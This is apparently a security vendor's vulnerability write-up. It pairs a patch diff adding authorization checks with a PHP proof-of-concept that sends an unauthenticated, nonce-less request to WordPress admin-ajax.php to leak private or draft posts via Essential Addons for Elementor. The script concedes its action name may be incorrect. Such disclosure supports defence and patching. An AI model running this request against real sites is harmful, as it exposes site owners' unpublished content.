+				// Mirrors the quickview handler guards (CVE-2026-1004).
+				$compare_post = get_post( $product_id );
+				if ( ! $product->is_visible() ) {
+					continue;
+				}
+				if ( ! current_user_can( 'edit_post', $product_id ) && ( ! $compare_post || 'publish' !== $compare_post->post_status ) ) {
+					continue;
+				}
+				if ( ! current_user_can( 'edit_post', $product_id ) && post_password_required( $compare_post ) ) {
+					continue;
+				}
+
 				$product->fields = [];

 				// custom attributes

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-13345 - Missing Authorization in Essential Addons for Elementor

// This PoC demonstrates the missing authorization by attempting to trigger
// the 'post_grid_load_ajax' action via an unauthenticated request.
// An attacker can exploit this to load arbitrary post content, potentially
// leaking private, draft, or password-protected posts.

// CONFIG
$target_url = 'https://example.com/wp-admin/admin-ajax.php'; // Set the target WordPress AJAX endpoint

// Exploit payload: Request to load posts without authentication
$payload = array(
    'action' => 'post_grid_load_ajax', // or the correct action name found in Ajax_Handler.php
    'post_id' => 0,
    'widget_id' => 'eael-post-grid-1',
    'page' => 1,
    'nonce' => '' // The missing nonce check is the vulnerability
);

// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($payload));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

// Execute and output the response
$response = curl_exec($ch);
curl_close($ch);

echo "[+] Response from target:n";
echo $response . "n";
if (strpos($response, 'eael-post-grid') !== false) {
    echo "[!] Vulnerability confirmed: Unauthenticated request succeeded.n";
} else {
    echo "[!] The target has patched the vulnerability or the action name is incorrect.n";
}

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.